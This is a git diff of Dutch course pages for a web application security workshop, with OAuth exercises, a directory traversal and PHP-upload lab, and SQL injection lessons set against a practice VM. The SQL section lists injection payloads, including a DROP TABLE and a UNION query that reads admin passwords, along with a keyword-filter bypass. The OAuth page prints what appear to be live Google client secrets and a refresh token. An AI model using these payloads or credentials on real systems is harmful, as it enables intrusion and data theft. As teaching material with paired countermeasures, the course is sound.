+  <input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input>
+</div>
+
+<p>De access token kan je nu gebruiken om een request te doen naar
+  <a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
+
+<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code>
+
+<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen
+  headers en data. In de screenshots gebruiken we
+  <a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
+
+<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px">
+
+<div class="question">
+  <span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span>
+  {% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %}
+  <input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input>
+</div>
+
+<p class="hint">
+  <strong>Hint:</strong> Let op dat je de Authorization data als
+  <i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
+
+
+<h3>Web applicaties</h3>
+
+<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie
+  URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect
+  om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
+
+<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen
+  en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
+
+<ol>
+  <li>Ga naar
+    <a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als
+    <b>Authorization grant type</b> de waarde
+    <b>Authorization code</b> heeft.
+    <br>
+    <img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%">
+  </li>
+
+  <li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met
+    <b>response_type=code</b> in plaats van response_type=token</li>
+
+  <li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li>
+</ol>
+
+<div class="question">
+  <span class="question-string">Welke authorisatie code heb je gekregen?</span>
+  {% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %}
+  <input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input>
+</div>
+
+<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right">
+
+
+<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token.
+  Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
+
+<ul>
+  <li>
+    <b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li>
+  <li>
+    <b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li>
+  <li>
+    <b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li>
+  <li>
+    <b>client_id</b>: De client id die je hebt verzonnen</li>
+  <li>
+    <b>client_secret</b>: De client secret die je hebt verzonnen</li>
+</ul>
+
+<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response
+  met daarin de refresh_token (en een gratis access_token!). Als je een
+  <code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een
+  <code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En
+  als je een
+  <code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt
+  <i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een
+  keer extra goed of de URL eindigt op
+  <code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
+
+<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;">
+
+<div class="question">
+  <span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span>
+  {% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %}
+  <textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea>
+</div>
+
+<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%">
+<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth
+  uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor
+  is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker.
+  Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
+
+<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p>
+
+<h3>Google</h3>
+
+<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p>
+
+<code style="display: block;">
+      Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br>
+      Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br>
+      Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code>
+
+<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token)
+  om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter
+  op 'refresh_token' zetten:</p>
+
+<p class="hint">
+  <strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
+
+<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
+
+<p>Gebruik de access token die je krijgt om een API call te doen naar
+  <span class="url">https://www.googleapis.com/calendar/v3/calendars/websecpaulwagener@gmail.com/events</span>. Vergeet niet weer de juiste
+  Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google
+  Calender te zien in JSON formaat.</p>
+
+<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
+
+<div class="question">
+  <span class="question-string">Wat is de code die in de Geheime afspraak staat? </span>
+  {% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %}
+  <input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input>
+</div>
+
+<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag
+  weer de
+  <a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een
+  <a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals
+  <a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of
+  <a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
+
+<p>Details over Google OAuth 2.0 kan je vinden op
+  <a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de
+  <a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs &amp;
+  auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
+
+<p>Gebruik de authorisatie URL zoals die
+  <a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
+
+<p class="hint">
+  <strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde
+  API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld
+  <a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
+
+
+<div class="question">
+  <span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die
+    requests). Gevoelige data mag je met ***** censureren.</span>
+  {% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %}
+  <textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea>
+</div>
+
+<h3>Mini webapp</h3>
+
+<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je
+  mag ook een OAuth framework gebruiken)</p>
+
+<img src="static/img/webapp1.png" class="screenshot" style="width: 40%">
+<img src="static/img/webapp2.png" class="screenshot" style="width: 40%">
+
+<div class="question">
+  <span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span>
+  {% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %}
+  <textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea>
+</div>
+
+{% endblock %}
--- a/path.html
+++ b/path.html
@ -0,0 +1,78 @@
+<h1>Insecure Direct Object References</h1>
+
+<img src="/static/img/imgr.png">
+
+<h2>Image site</h2>
+
+<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database
+  dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
+
+<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit
+  wat de inhoud van dit bestandje is.</p>
+
+<p class="hint">
+  <strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
+
+<p class="hint">
+  <strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
+
+<div class="question">
+  <span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
+</div>
+
+
+
+<h2>Image 2</h2>
+<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver
+  bereikbaar is. De plaatjes worden nu via een speciaal image.php (
+  <a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
+
+<p class="hint">Met een paar extra
+  <code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
+
+<div class="question">
+  <span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
+</div>
+
+<p>Verander image.php in image_check_prefix.php (
+  <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
+
+<div class="question">
+  <span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
+</div>
+
+<p>Verander de bestandsnaam in image_remove_traversal.php (
+  <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de
+  URL kan gebruiken.</p>
+
+<p class="hint">
+  <strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de
+  URL filterde?</p>
+
+<div class="question">
+  <span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
+</div>
+
+<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
+
+<div class="question">
+  <span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
+</div>
+
+<img src="/static/img/parent_dir.png" class="center-block">
+
+<h2>Image 3</h2>
+
+<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (
+  <a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
+
+<p class="hint">
+  <strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
+
+<p class="hint">
+  <strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met
+  <code>include()</code> ziet er interessant uit...</p>
+
+<div class="question">
+  <span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
+</div>
--- a/points.html
+++ b/points.html
@ -0,0 +1,7 @@
+<div class="points">
+  {% if points != None %}
+    <i>{{ points }} van de {{ max }} punten</i>
+  {% else %}
+    <span class="question-points">{{ max }}</span> punten
+  {% endif %}
+</div>
--- a/sign.html
+++ b/sign.html
@ -0,0 +1,6 @@
+<h1>Upload hier je certificate signing request (.csr):</h1>
+<form enctype="multipart/form-data" method="POST">
+  {% csrf_token %}
+  <input type="file" name="csr">
+  <input type="submit">
+</form>
--- a/sketches.graffle/data.plist
+++ b/sketches.graffle/data.plist
--- a/sketches.graffle/image2.tiff
+++ b/sketches.graffle/image2.tiff
--- a/sketches.graffle/image3.tiff
+++ b/sketches.graffle/image3.tiff
--- a/sketches.graffle/image4.tiff
+++ b/sketches.graffle/image4.tiff
--- a/sketches.graffle/image5.tiff
+++ b/sketches.graffle/image5.tiff
--- a/sketches.graffle/image6.tiff
+++ b/sketches.graffle/image6.tiff
--- a/sql.html
+++ b/sql.html
@ -0,0 +1,222 @@
+<style>
+  code i {
+    color: blue;
+    font-style: normal;
+    font-weight: bold;
+  }
+
+  p code {
+    padding: 0;
+    margin: 2px;
+  }
+</style>
+
+<h1>Web App Security</h1>
+
+<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin
+  komen we meteen bij een gouden regel:</p>
+
+<blockquote>Het hacken van websites zonder toestemming is
+  <strong>niet</strong> toegestaan</blockquote>
+
+<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende
+  manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p>
+
+<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
+
+<h1>SQL injection</h1>
+
+<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn
+  er
+  <a href="https://www.google.nl/webhp?#safe=off&amp;tbm=nws&amp;q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan
+  we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
+
+<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query
+  die wordt uitgevoerd is bijvoorbeeld deze:</p>
+
+<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
+
+<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar
+  als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
+
+<h5>Commentaar</h5>
+<p>Met
+  <code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met
+  <code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
+
+<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
+
+<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar.
+  De query zal dus ook rijen teruggeven waar
+  <i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen
+  kopen :)</p>
+
+<h5>AND, OR</h5>
+
+<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld
+  de volgende query maken met de juiste invoer:</p>
+
+<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
+
+<p>Deze query maakt weer het
+  <i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het
+  resultaat is altijd true (de haakjes worden als volgt geplaatst:
+  <code>. OR ( . AND . )</code>).</p>
+
+<h5>Meerdere queries</h5>
+<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk
+  eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
+
+<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
+
+<p>Met
+  <code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar
+  willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat.
+  Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
+
+<h5>UNION</h5>
+
+<p>We kunnen met behulp van de
+  <a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
+
+<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
+
+<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries
+  evenveel kolommen teruggeven.</p>
+
+<img src="/static/img/shield.png" style="float: right">
+<h4>Countermeasures</h4>
+
+<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je
+  SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
+
+<h5>Stored procedures</h5>
+<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat
+  in plaats op de server is SQL injectie niet mogelijk</p>
+
+<h5>Prepared statements</h5>
+<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die
+  vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk.
+  Lees
+  <a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
+
+<h5>Escaping</h5>
+<p>Je kan ook alle invoer zelf escapen met functies zoals
+  <a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen
+  cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid
+  op je website!</p>
+
+<p>Op
+  <a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
+
+<img src="/static/img/sql_injectie.png" class="center-block">
+
+<h2>Bank</h2>
+<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op
+  zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel
+  geld Bob op zijn rekening heeft staan.</p>
+
+<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom
+  haar rekening hacken met behulp van SQL.</p>
+
+<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link
+  <span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
+
+<p class="hint">
+  <strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
+
+<p class="hint">
+  <strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
+
+<p class="hint">
+  <strong>Hint 3:</strong> Bekijk de broncode achter de site:
+  <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a>
+  De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query
+  zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
+
+<img src="/static/img/poespas.png" style="width: 70%" class="center-block screenshot">
+
+<div class="question">
+  <span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
+</div>
+
+<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen
+  het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND,
+  OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
+
+<div class="question">
+  <span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
+</div>
+
+<p class="hint">
+  <strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p>
+
+<div class="question">
+  <span class="question-string">Bekijk de
+    <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span>
+</div>
+
+<p>Open de
+  <span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries
+  (queries gescheiden door een ; ).</p>
+
+<div class="question">
+  <span class="question-string">Met welke
+    <i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
+</div>
+
+<img src="/static/img/bank_schema.png">
+
+<h2>Webshop</h2>
+
+<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de
+  webshop van Leaky's. Gebruik hiervoor de link
+  <span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
+
+<p>Je kan de broncode vinden op:
+  <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a>
+</p>
+
+<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare
+  quotejes om de query aan te passen.</p>
+
+<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
+
+<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit
+  de database!</p>
+
+<p class="hint">
+  <strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.
+</p>
+
+<img src="/static/img/webshop_schema.png">
+
+<div class="question">
+  <span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en
+    4)
+  </span>
+</div>
+
+<div class="question">
+  <span class="question-string">Bekijk de
+    <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
+</div>
+
+<p>Open de pagina
+  <span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit
+  de invoer gefilterd.</p>
+
+<p class="hint">
+  <strong>Hint:</strong> SELSELECTECT</p>
+
+<div class="question">
+  <span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
+</div>
+
+<h2>Wereldwijs</h2>
+
+<p>Ga in de VM naar de
+  <span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft
+  een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
+
+<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
--- a/static/css/bootstrap-responsive.min.css
+++ b/static/css/bootstrap-responsive.min.css
--- a/static/css/bootstrap.min.css
+++ b/static/css/bootstrap.min.css
--- a/static/css/semantic.min.css
+++ b/static/css/semantic.min.css
--- a/static/css/style.css
+++ b/static/css/style.css
@ -0,0 +1,85 @@
+.url {
+      color: #000088;
+      font-family: Courier;
+}
+figcaption {
+  text-align: center;
+}
+
+figure img {
+  margin-left: auto;
+  margin-right: auto;
+}
+
+@media (min-width: 767px) {
+  #menu {
+    position: fixed;
+  }
+}
+
+#difficulty {
+    width: 150px;
+}
+
+.screenshot {
+  box-shadow: 0 0 10px #888;
+  border: 1px solid #aaa;
+  border-radius: 7px;
+}
+
+body {
+    background-color: #e8eef7;
+    padding: 2em;
+}
+
+#quiz {
+    padding: 1em;
+    background-color: white;
+    border: 1px solid #ccc;
+}
+
+.question {
+    padding: 1em;
+    margin: 2em;
+    border-left: 3px solid darkorange;
+}
+
+.question-string {
+    font-weight: bold;
+}
+
+.center-block {
+    display: block;
+    margin-left: auto;
+    margin-right: auto;
+}
+
+textarea {
+    width: 75%;
+    height: 9em;
+}
+
+input {
+    width: 75%;
+}
+
+code.terminal {
+    background-color: black;
+    color: white;
+    font-family: Courier, monospace;
+    padding: 1em;
+    margin: 1em;
+    display: block;
+    white-space: normal;
+}
+
+.argument {
+    font-family: Courier, monospace;
+    font-weight: bold;
+}
+
+.website{
+  font-style: italic;
+  font-variant: small-caps;
+  color:dodgerblue;
+}
--- a/static/geheim.aes256
+++ b/static/geheim.aes256
@ -0,0 +1,2 @@
+U2FsdGVkX191ur0pmvNcmrnlem8L5S6NuQUEAurl+aSZzKQirnAfoDAf/QWYWwOx
+w4wCKOGIJ9jxFrAJwqJjaA==
--- a/static/img/access_token.png
+++ b/static/img/access_token.png
--- a/static/img/asym_alicebob.png
+++ b/static/img/asym_alicebob.png
--- a/static/img/asym_encryptie.png
+++ b/static/img/asym_encryptie.png
--- a/static/img/auth_access_token.png
+++ b/static/img/auth_access_token.png
--- a/static/img/auth_basic.png
+++ b/static/img/auth_basic.png
--- a/static/img/auth_basic_app.png
+++ b/static/img/auth_basic_app.png
--- a/static/img/bank_schema.png
+++ b/static/img/bank_schema.png
--- a/static/img/certificaat.png
+++ b/static/img/certificaat.png
--- a/static/img/certificaat_rabo.png
+++ b/static/img/certificaat_rabo.png
--- a/static/img/encryptie.jpg
+++ b/static/img/encryptie.jpg
--- a/static/img/encryption_project.png
+++ b/static/img/encryption_project.png
--- a/static/img/gpg.png
+++ b/static/img/gpg.png
--- a/static/img/http_auth.png
+++ b/static/img/http_auth.png
--- a/static/img/imgr.png
+++ b/static/img/imgr.png
--- a/static/img/letsencrypt_challenge.png
+++ b/static/img/letsencrypt_challenge.png
--- a/static/img/letsencrypt_chrome.png
+++ b/static/img/letsencrypt_chrome.png
--- a/static/img/letsencrypt_conf.png
+++ b/static/img/letsencrypt_conf.png
--- a/static/img/letsencrypt_congrats.png
+++ b/static/img/letsencrypt_congrats.png
--- a/static/img/letsencrypt_domain.png
+++ b/static/img/letsencrypt_domain.png
--- a/static/img/letsencrypt_logo.png
+++ b/static/img/letsencrypt_logo.png
--- a/static/img/loader.gif
+++ b/static/img/loader.gif
--- a/static/img/oauth.png
+++ b/static/img/oauth.png
--- a/static/img/oauth_authorization_code.png
+++ b/static/img/oauth_authorization_code.png
--- a/static/img/oauth_call_api.png
+++ b/static/img/oauth_call_api.png
--- a/static/img/oauth_exchange_auth_code.png
+++ b/static/img/oauth_exchange_auth_code.png
--- a/static/img/oauth_facebook.png
+++ b/static/img/oauth_facebook.png
--- a/static/img/oauth_get_token.png
+++ b/static/img/oauth_get_token.png
--- a/static/img/oauth_google_call_api.png
+++ b/static/img/oauth_google_call_api.png
--- a/static/img/oauth_google_refresh.png
+++ b/static/img/oauth_google_refresh.png
--- a/static/img/oauth_refresh_token.png
+++ b/static/img/oauth_refresh_token.png
--- a/static/img/oauth_register.png
+++ b/static/img/oauth_register.png
--- a/static/img/oauth_set_grant_type.png
+++ b/static/img/oauth_set_grant_type.png
--- a/static/img/parent_dir.png
+++ b/static/img/parent_dir.png
--- a/static/img/password-salt.jpg
+++ b/static/img/password-salt.jpg
--- a/static/img/password.png
+++ b/static/img/password.png
--- a/static/img/password2.jpg
+++ b/static/img/password2.jpg
--- a/static/img/poespas.png
+++ b/static/img/poespas.png
--- a/static/img/publicprivatekey.png
+++ b/static/img/publicprivatekey.png
--- a/static/img/rabobank.png
+++ b/static/img/rabobank.png
--- a/static/img/security_banner.jpg
+++ b/static/img/security_banner.jpg
--- a/static/img/shield.png
+++ b/static/img/shield.png
--- a/static/img/signature.jpg
+++ b/static/img/signature.jpg
--- a/static/img/sleutels_genereren.png
+++ b/static/img/sleutels_genereren.png
--- a/static/img/slotje_certificaat_vm.png
+++ b/static/img/slotje_certificaat_vm.png
--- a/static/img/sql_injectie.png
+++ b/static/img/sql_injectie.png
--- a/static/img/sym_decryptie.png
+++ b/static/img/sym_decryptie.png
--- a/static/img/sym_encryptie.png
+++ b/static/img/sym_encryptie.png
--- a/static/img/web_of_trust.gif
+++ b/static/img/web_of_trust.gif
--- a/static/img/webapp1.png
+++ b/static/img/webapp1.png
--- a/static/img/webapp2.png
+++ b/static/img/webapp2.png
--- a/static/img/webshop_schema.png
+++ b/static/img/webshop_schema.png
--- a/static/img/whatsapp.png
+++ b/static/img/whatsapp.png
--- a/static/img/whatsapp_qr.png
+++ b/static/img/whatsapp_qr.png
